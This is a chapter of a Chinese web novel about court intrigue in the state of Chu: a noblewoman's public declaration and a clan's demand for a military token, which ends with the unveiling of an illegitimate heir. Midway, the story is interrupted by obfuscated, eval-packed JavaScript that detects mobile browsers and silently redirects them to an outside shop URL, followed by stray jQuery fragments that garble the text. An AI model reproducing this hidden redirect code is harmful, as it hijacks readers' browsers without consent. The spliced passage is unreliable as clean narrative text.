我还在怔愣中没回过神来,只听见风声吹着荆条,噼啪作响。
四下一片寂静,众人没有起哄,没有议论,也没有嘲讽。
唯有寂静,十分诡异的寂静。
就连高台之上的楚王和众家主也渐渐停下了饮宴,看向我们这边。
我好不容易才找到自己的声音,艰难说道:“昭翎,你不要胡闹,你是女子,为何如此?”
虽然楚国民风开放,但也是男子主动追求心怡的女子,还从未听说过有哪位贵族少女主动表白男子的。
昭翎到底想干什么?
仰慕?
是有多想不开才会仰慕一个人尽皆知的“断袖”。
昭翎听了这话,沉默片刻,随即抬手轻轻掀下面纱,面纱下露出一张俏丽的脸庞,可是她的左脸处有一块红色的小胎记,让原本俏丽的脸庞多了一分瑕疵。
“啊……原来她长这样!”
“怪不得一直带着面纱,原来是……不敢见人啊。”
“听说她这次来就是为了找夫婿的,如此看来,倒和屈云笙是天造地设的一对。”
“可不?一个难娶,一个难嫁。”
难听的话语随着猎猎风声灌进了我的耳朵,昭翎也听见了,可是她神色自若,好像完全不在乎那些闲言碎语,一双眼晶晶雪亮,十分真挚地看着我。
我此刻应该做什么?
若是换做刚穿过来的我,此刻定当为红颜一舞,如此好的女子当着众人的面说仰慕我,无论如何我都要让她如愿。
但现在的我却不能应承。
我知道一旦应承了会是什么结果,所有人都会认为我和昭翎看对眼了,接下来呢?
也许昭氏很快就会登门和屈氏谈论婚事。
昭翎一旦和我联系在一起,郢都城里就没有第二个公子王孙会娶她。
为什么她要做这种自毁名声的事?
更何况,老子根本不会什么剑舞,秋荑那个老匹夫从来没跟我说过屈哥还有这项技能,我要是当众舞剑,不就是告诉所有人我是个货真价实的赝品吗?
正当我骑虎难下之时,一阵急促的马蹄声打乱了场中尴尬的氛围。
众人顺着马蹄声看去,只见四个黑衣装束的男子骑马奔来,场中许多人一看见那四人,都露出了惊讶的神情。
薳东杨赶紧走到我边上,将我往后拉了两步,低声道:“是莫氏,他们怎么会来?看来今日子湘老贼是有备而来的。”
我看了看子玉的黑衣,又看着那四人的黑衣,隐约猜到子湘大夫想要干什么了,手指不由得嵌入掌心深处,浑身紧绷。
莫氏四人有两个是中年人,两个年轻人,我记得薳东杨说过,莫昱还有两个兄弟,想必那两个中年人便是莫昱的两个兄弟,而后面跟着的,很可能是他们的儿子。
“微臣莫垣,拜见大王。”
“微臣莫衡,拜见大王。”
“微臣莫风,拜见大王。”
“微臣莫雨,拜见大王。”
四人向楚王拜完,又朝子湘大夫行礼,子湘老贼笑眯眯的神情中终于出现了一些肃然,目光中也泛着一丝冷铁似的冰寒。
“大王,令尹大人,莫氏奉命平定申息二地叛乱,虽此次折损较多,但幸不辱命,叛乱皆被平息,我兄弟二人特来复命。”
楚王站起身,大喜道:“做的好!莫氏不愧是我大楚兵马的翘楚,凡战必胜,攻无不克,诸君当效之。”
所有人都齐拜道:“恭喜大王,恭喜莫将军。”
楚王看着莫氏道:“说吧,你们想要什么赏赐,申息二地乃我大楚门户,此番功劳甚大,莫氏的折损,本王必定加倍补偿。”
莫垣抬头看着楚王,肃然回道:“大王,我莫氏从上至下,都只想要一物做赏赐。”
“何物?”
“请令尹大人归还莫氏黑虎令。”
此言一出,四下寂然,众人脸上都写着震惊二字,那些贵女们见此情形,都悄悄退到一边,只留下男子们站在场中。
薳东杨低声道:“看来这是要当众打子湘老贼的脸啊,不愧是莫氏,一群嗜血的疯子。”
我心里一紧。
莫衡紧接着说道:“十五年前,我三弟莫昱战死百越,令尹大人为了大局着想,将三弟的黑虎令暂时收归己用,这十五年间我莫氏听从令尹大人调配,出生入死,未有半句怨言。但今日作为莫氏族人,我不得不说一句,令尹大人是治国能臣,却并非领兵将帅,如果黑虎令在我莫氏手中,这场仗不至于折损过半,只怕再这么下去,莫氏会损耗殆尽……况且黑虎令原本就是楚国先祖赐予我莫氏的殊荣,令尹大人拿了这么多年,不觉得良心不安吗?”
一席话毕,就连楚王的脸色都僵凝住了。
这郢都城里,哪个不是对子湘大夫毕恭毕敬,生怕有半点得罪,没想到莫氏的人居然在众目睽睽之下对他贴脸开大,我终于明白薳东杨说的那句话——莫氏的人骨子里都是一群疯子。
一时之间,就连空气都窒息了,空气中仿佛有千军万马蓄势待发,只等一个火星来引燃。
子湘大夫听了,沉默片刻,终于缓缓站起身,看着莫氏的人说道:“莫垣,莫衡,你们特地选了今日这个宴会来向我讨回黑虎符,众目睽睽之下,倘若我不归还,便落了一个把持兵权,欺压同族的罪名,我子湘活到今日,就差一个脑袋便全埋进土里了,你们这是想让我晚节不保啊。”
说罢,嘴角扯出一抹苦涩的笑意。
楚王在一旁没说话,这是若敖氏内部的事,按他的立场不能直接干涉。
我想起秋荑那天说的话,氏族之间不能互相干涉,否则便会落得群起而攻之的下场。就连贵为一国之君的楚王都不能干涉若敖氏内部的事,更可况是我这种小角色……
子玉那日的劝导和担忧,不是没有道理的。
莫氏两兄弟听了这话,语气更加强硬激愤:“令尹大人,您是我兄弟二人的叔父,我们对您敬重万分,但莫昱死后,莫氏只留下我兄弟二人苦苦撑着。楚国上下人尽皆知,凡是最危险的地方,莫氏先去,凡是最没把握的仗,莫氏先打,如果调兵权都被人把持控制,试问莫氏被捆住手脚要如何作战,再这么下去,莫氏全族尽灭,我兄弟二人就算下了黄泉,也没脸去见三弟!”
这时,一直站在后面的两个年轻人也开口了。
“令尹大人,那黑虎符原本就是莫氏的,我们年纪小不懂事,但也知道不能随便去拿别人的东西,令尹大人是若敖氏家主,最应该公正公道才对。”
这番话说完,场面更加尴尬,没有人敢出声,若敖氏是楚国最强大的氏族,手握军政双全,没有人敢掺和他们内部的事,那些家主们也个个噤声,冷眼旁观这场兵权之争。
子湘看了看四人,又转头看着楚王,楚王说道:“这是你们氏族内部的事,本王不应多言,但莫氏于国有大功,本王相信子湘大夫身为家主,定能做出让众人都心服口服的抉择。”
子湘点点头,拜道:“是,微臣明白了。”
说罢,他缓缓转过身,看着身后的子玉,故意提高声量道:“子玉,过去吧,你该正式拜见一下你两位叔父了。”
蛰伏已久的火星,终于点炸了空气中的千军万马,烈风呼啸,火焰腾飞。
众皆哗然。
各种各样的惊讶声、议论声,绵延起伏,就连一直冷眼旁观的家主们也不淡定了,他们直直盯着子玉,看着他一步步走向莫氏。
我感觉自己浑身的血液都僵住了,喉咙上好像堵了一块大石头,呼吸都变得困难,心脏仿佛被人紧紧握住,停止了跳动。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13503087|141937||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
原来是为了这一天。”薳东杨在旁边恍然道,“不愧是老贼,谁能算的过他。”
是啊,原来是为了这一天~
不愧是统掌全国的大人物。
早就安排好了棋子,来走这一步。
可是,这个棋子是子玉……
他除了秋荑,背后无人可靠。
子玉冷静地走到莫氏二人面前,恭敬拜道:“两位叔父,莫昱之子,莫氏子玉,见过二位。”
莫家四人全是一副不可置信的眼神,盯着子玉从上往下看,嘴里大声嚷道:“不可能,我三弟从未娶妻,哪里来的孩子,你是从哪里冒出来的,为何此前从听说过你?”
子湘冷声说道:“你们一心只想着黑虎令,又怎么会关心莫昱是否有外室,是否有遗孤。”
莫垣大喊道:“不可能,这是假冒的,我三弟长年征战沙场,不近女色,帐中从不留人,又怎么会有孩子。”
子湘对着站在角落里的侍从点点头,侍从便离开了,过了片刻,两个侍从抬了一个小木箱,放在莫氏面前。
“原本这是莫昱的私事,我本不想在这样的场合公之于众,但你们非要选今天这样的日子逼问黑虎符,我就只好对不起莫昱子侄了。你们面前放的,是莫昱和乐馆乐妓汐云的书信往来,还有二人的定情信物,莫昱在书信中亲自为自己尚未出世的孩子取名子玉,便是你们面前站着的这位少年,你们三弟的字迹,想必你们都认识。”
话音毕,莫垣和莫衡看着木箱,似乎很是抗拒。
他们在众人的注视下,不情不愿打开木箱,翻看着那些信件和信物。
良久,莫衡终于支撑不住,一屁股瘫坐在地上,手上的信件散落一地。
子玉从始至终都神色淡淡,脸上没有半点波澜,他弯下身捡起那些信件,又一一折好放入木箱,动作轻柔又郑重。
莫垣死死盯着他,目光如炬,仿佛他眼前站着的不是一个失而复得的子侄,而是一个从天而降的仇敌。
“子湘叔父,您糊涂了吧,他的亲娘是乐妓,乐妓每日伺候的男人多了去了,谁知道她当年到底是不是怀了我三弟的种,有没有诓骗我三弟……”莫垣狠狠盯着子湘,咬牙切齿道,“就算他真的是我三弟的骨肉,一个乐妓之子怎能入我莫氏家门,只要我们族人不认,他就永远不可能姓莫!”
子玉抬眼看他,脸上终于出现了一丝波澜,整个人像是从万年冰川中刚爬出来的一样,隔着一段距离都能感受到寒意。
“叔父,你弄出这么一个来历不明的野小子,就想让他承继我三弟的位置,我莫垣第一个不服!若是一个乐妓之子都能当我莫氏家主,那我莫氏,岂不是成了全楚上下最大的笑话。”说完,他发狂一般大笑道,“哈哈哈,堂堂令尹大人为了不归还黑虎令,居然找了个乐妓生的小野种做傀儡,我莫氏竟被欺压至此,三弟你在天之灵看见了吗,我莫氏流了那么多血,死了那么多族人,竟然被欺压至此啊……”
满场都是他悲怆发狂的笑声。
子玉一个人孤零零站在原地,一言不发,四周看着他的目光越发鄙夷,甚至还有低声嘲讽的。
“是啊,乐妓之子,怎么能当氏族之长,子湘大夫是不是疯了?”
“别说话,你想死吗,看不出来这野种只是个傀儡,子湘大夫拿他当借口不想归还黑虎令罢了。”
“呸,乐妓之子,还妄图当莫氏家主,他也好意思站在众人面前。”
“唉,莫氏真惨,怎么会半路杀出来一个野种。”
我感觉自己的手指嵌得更深了,薳东杨忽然抓着我的手,轻轻拍了拍,我转头看他,薳东杨面色一怔,微微摇头,说道:“别管若敖氏的事,这个篓子你要是捅了,我兜不住。”
“还有……”他的目光往下看着我的手,“流血了,屈云笙。”